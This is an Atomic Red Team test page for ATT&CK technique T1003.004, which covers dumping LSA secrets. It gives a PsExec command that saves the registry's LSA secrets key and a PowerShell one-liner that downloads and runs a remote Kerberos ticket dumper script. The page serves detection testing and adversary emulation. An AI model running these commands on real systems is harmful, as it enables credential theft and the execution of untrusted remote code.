Atomic Red Team doc generator
104 lines
3.7 KiB
Markdown
104 lines
3.7 KiB
Markdown
# T1003.004 - OS Credential Dumping: LSA Secrets
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## [Description from ATT&CK](https://attack.mitre.org/techniques/T1003/004)
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<blockquote>
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Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
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[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
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</blockquote>
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## Atomic Tests
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- [Atomic Test #1 - Dumping LSA Secrets](#atomic-test-1---dumping-lsa-secrets)
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- [Atomic Test #2 - Dump Kerberos Tickets from LSA using dumper.ps1](#atomic-test-2---dump-kerberos-tickets-from-lsa-using-dumperps1)
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<br/>
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## Atomic Test #1 - Dumping LSA Secrets
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Dump secrets key from Windows registry
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When successful, the dumped file will be written to $env:Temp\secrets.
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Attackers may use the secrets key to assist with extracting passwords and enumerating other sensitive system information.
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https://pentestlab.blog/2018/04/04/dumping-clear-text-credentials/#:~:text=LSA%20Secrets%20is%20a%20registry,host%2C%20local%20security%20policy%20etc.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 55295ab0-a703-433b-9ca4-ae13807de12f
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| psexec_exe | Path to PsExec executable | path | PathToAtomicsFolder\..\ExternalPayloads\T1003.004\bin\PsExec.exe|
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#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)
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```cmd
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"#{psexec_exe}" -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y
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```
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#### Cleanup Commands:
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```cmd
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del %temp%\secrets >nul 2> nul
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```
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#### Dependencies: Run with `powershell`!
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##### Description: PsExec from Sysinternals must exist on disk at specified location (#{psexec_exe})
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##### Check Prereq Commands:
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```powershell
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if (Test-Path "#{psexec_exe}") {exit 0} else {exit 1}
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```
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##### Get Prereq Commands:
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```powershell
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Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip"
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Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PSTools" -Force
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New-Item -ItemType Directory (Split-Path "#{psexec_exe}") -Force | Out-Null
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Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PSTools\PsExec.exe" "#{psexec_exe}" -Force
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```
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<br/>
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<br/>
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## Atomic Test #2 - Dump Kerberos Tickets from LSA using dumper.ps1
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This tool allows you to dump Kerberos tickets from the LSA cache. Implemented via Add-Type.
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If the tool is run as a privileged user, it will automatically obtain NT AUTHORITY\SYSTEM privileges and then dump all tickets. If the tool is run as a non-privileged user, it will only dump tickets from the current logon session.
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Ref: https://github.com/MzHmO/PowershellKerberos/
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Author of dumper.ps1: Michael Zhmaylo (@MzHmO)
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**Supported Platforms:** Windows
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**auto_generated_guid:** 2dfa3bff-9a27-46db-ab75-7faefdaca732
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#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
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```powershell
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Invoke-Expression (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/MzHmO/PowershellKerberos/beed52acda37fc531ef0cb4df3fc2eb63a74bbb8/dumper.ps1')
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```
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<br/>
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